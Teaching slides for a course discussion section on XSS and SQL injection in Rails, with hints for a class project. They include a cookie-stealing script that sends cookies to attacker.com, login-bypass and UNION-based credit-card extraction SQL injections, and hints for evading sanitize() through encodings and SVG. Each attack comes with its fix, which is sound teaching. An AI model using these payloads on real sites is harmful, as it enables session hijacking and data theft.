Project 7 Discussion Section

XSS and SQL Injection in Rails
Agenda

- XSS coverage
  - XSS #1: Project 7 Part 1
  - XSS #2: Project 5 Part 3
  - Rails’ sanitize(): Project 7 Part 2
- SQL Injection (Project 7 Part 3)
  - SQL Injection #1
  - SQL Injection #2
- Project 7 Specifics: encodings, SVG
XSS and SQL Injection

- Code injection vulnerabilities.
  - Rough generalization: Data input unexpectedly becomes code.

- In XSS, the code is JavaScript in HTML document.

- In SQL Injection, the code is SQL to the database.
XSS Background

- Same-origin policy prevents JavaScript from a.com to manipulate DOM from b.com.

- This does not work from evil.com.
  ```html
  <iframe src="http://www.bank.com">
  </iframe>
  <script>
    frames[0].forms[0].onsubmit = function() {
      // send me your login and password
      ...
    }
  </script>
  
  So attacker needs to inject JavaScript code into some page on domain.
XSS #1
XSS #1

- **In controller:**
  ```ruby
  def search
    @query = params[:query]
  end
  ```

- **In view**
  ```html
  <p>Search result for <%= @query %></p>
  ```

- **Input through GET method**
XSS #1: Normal Search

- Input: flower
- URL: www.vulnerable.com/?query=flower
- Resulting page
  
  <p>Search result for flower</p>
XSS #1: Abnormal Search

- **Input:**
  
  ```html
  <script>alert(document.cookie)</script>
  ```

- **URL-encoded input:**
  
  ```url-encoded
  %3Cscript%3Ealert%28document.cookie%29%3C/script%3E%0A
  ```

- **URL:**
  
  ```url
  www.vulnerable.com/?query=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E%0A
  ```
XSS #1

- Result page
  
  `<p>Search result for
  <script>alert(document.cookie)</script></p>`

- URL-encoding has been decoded automatically.
XSS #1: Attacker Search

- Q: What does this do?
- A: Send visitor’s cookie to attacker!

- URL-encoded URL:
  `www.vulnerable.com/?query=%3Cscript%3E%28new%20Image%29.src%3D%u201Chttp%3A//attacker.com/email.php%3Fcontent%3D%u201D%20%20document.cookie%u201D%3B%3C/script%3E`  
  Make intended victim visit the above URL
XSS #1

- Resulting page
  
  ```html
  <p>Search result for
  <script>(new Image()).src="http://attacker.com/email.php?content=" +
  document.cookie</script></p>
  ```
XSS #1

- Fix: Escape “<” and “>”
  - “<“ → “&lt;”
  - “>” → “&gt;”
- h function does this
- In view
  - Search result for `<%= h(@query) %>`
XSS #1

- Resulting page on attempted attack

<p>Search result for
XSS #1

- Questions?
XSS #2

- Project 5 Part 3
- File upload allows any file upload, including HTML
- File is opened on same domain
- No sanitization of the HTML file at all against JavaScript.

Possible solution:
```html
<script>document.alert(cookie)</script>
```
XSS #2

- Possible Fix: Delete JavaScript
  - Try viewing an HTML file with JavaScript in Gmail
  - Result of uploading last file: [blank]
- Eventual Fix: Make server tell browser to treat the file as attachment
  - Now file opened on local hard drive
  - Same-origin policy prevents XSS
XSS #2

- Questions?
Rails’ sanitize()

- How if you want to allow HTML tags?
- Solution: sanitize function
- <%= sanitize @post.content %>
Rails’ sanitize()

- Rails 2.0 uses new blacklist / whitelist filter
- Whitelist prevents unexpected protocols
  - You might blacklist javascript: as a protocol
  - However, there are livescript: and mocha: in Netscape 4 and vbscript: in IE 6.
- Default generally works well.
- src, href with “javascript:” deleted
- <script> deleted
Rails’ sanitize()

- Put customizations in config/environment.rb
- Restart after you change anything under config
- Lesson from project 7: Careful what additional tags, protocols you allow!
Rails’ sanitize()

- Questions?
SQL Injection

- In SQL Injection, SQL is injected into vulnerable SQL execution statement.

- Result: Unexpected SQL execution
SQL Injection #1: Login Form
SQL Injection #1

- **Vulnerable Code**
  ```ruby
  User.find(:all, :conditions => "username = #{params[:username]} AND password = #{params[:password]}")
  ```

- **This translates into**
  - ```sql
     SELECT * FROM users WHERE (username = '...' AND password = '...')
    ```
  - Attacker decides what ... will be.
SQL Injection #1

- Normal input
  - username = tom
  - password = passw0rd

- Resulting Query
  
  ```sql
  SELECT* FROM users WHERE (username = 'tom' AND password = 'passw0rd')
  ```
SQL Injection #1

- **Attacker Input**
  - username: tom') --
  - password: whatever

- **Resulting Query**
  - SELECT * FROM users WHERE (username = 'tom') -- ' AND password = 'whatever')
  - Logs in as tom regardless of password.
SQL Injection #1

- Abnormal Input
  - username: ‘); DROP TABLE users --
  - password: whatever

- Resulting Query:
  - SELECT * FROM users WHERE (username = ‘’; DROP TABLE users -- ’ AND password = ‘whatever’)

- Q: Would this work?
- A: No. Semicolon not allowed, so no way to inject new statement.
SQL Injection #1: Fix

- Fix the vulnerable statement
  - Vulnerable Statement
    ```ruby
    User.find(:all, :conditions => "username = #{params[:username]} AND password = #{params[:password]}")
    ```
  - Fixed Statement
    ```ruby
    User.find(:all, :conditions => {:username => params[:username], :password => params[:password]})
    ```

- In second form, Rails knows each argument is supposed to be for one parameter and sanitize for you.

- Questions?
SQL Injection #2

- Pizza example, rehashed
SQL Injection #2

- In controller

```ruby
@pizza_orders = PizzaOrder.find(:all,
  :conditions => "month = #{params[:month]}")
```
SQL Injection #2

- In view

```<table>
  <% @pizza_orders.each do |order| %>
    <tr><td><%= order.pizza %></td>
    <td><%= order.topping %></td>
    <td><%= order.quantity %></td>
    <td><%= order.date %></td>
  <% end %>
</table>```
SQL Injection #2

- Resulting Query
  ```sql
  SELECT * FROM pizza_orders where (month = '...')
  ```

- Normal input
  - month = 10

- Resulting Query
  ```sql
  SELECT * FROM pizza_orders WHERE (month = '10')
  ```
SQL Injection #2
SQL Injection #2

- **Attacker Input**
  - `month = 13'` UNION ALL SELECT name, CC_num, exp_mon, exp_year FROM creditcards --

- **Resulting Query**
  
  ```sql
  SELECT * FROM pizza_orders WHERE (month = 13') UNION ALL SELECT name, CC_num, exp_mon, exp_year FROM creditcards -- '
  ```
SQL Injection #2

Order History - Mozilla Firefox

Your Pizza Orders in October:

<table>
<thead>
<tr>
<th>Pizza</th>
<th>Toppings</th>
<th>Quantity</th>
<th>Order Day</th>
</tr>
</thead>
<tbody>
<tr>
<td>Neil Daswani</td>
<td>1234 1234 9999 1111</td>
<td>11</td>
<td>2007</td>
</tr>
<tr>
<td>Christoph Kern</td>
<td>1234 4321 3333 2222</td>
<td>4</td>
<td>2008</td>
</tr>
<tr>
<td>Anita Kesavan</td>
<td>2354 7777 1111 1234</td>
<td>3</td>
<td>2007</td>
</tr>
<tr>
<td>...</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
SQL Injection #2: Fix

@pizza_orders =
  PizzaOrder.find(:all,
    :conditions => "month = #{params[:month]}")

Fixed Statement
@pizza_orders =
  PizzaOrder.find(:all,
    :conditions => {:month => params[:month]})
SQL Injection #2

- Questions?
Project 7 Specifics: URL-Encoding

- Firefox allows URL w/o URL encoding
- Put in %20 at the end, or Firefox trims spaces in the back
- Once you figure out exact URL, use any URL encoder online
Project 7 Specifics: Encoding

- javascript:, <script> stripped by sanitize
- How do we get around?
- See protocol allowed in config/environment.rb and consider different encodings
- For encoding, feel free to use any encoder online
Project 7 Specifics: SVG

- Use SVG document for Part 2.
- SVG document
  - `<embed src="webmasting.svg"
    type="image/svg+xml" />
- Use data protocol to encode SVG document
- You can include `<script>` tag in SVG document.
- See
  [http://www.w3schools.com/svg/svg_examples.asp](http://www.w3schools.com/svg/svg_examples.asp)
Project 7 Specifics: Email Script

- Email script link in Simple Blog
- I monitor email script usage
Project 7 Specifics

- Questions? Comments?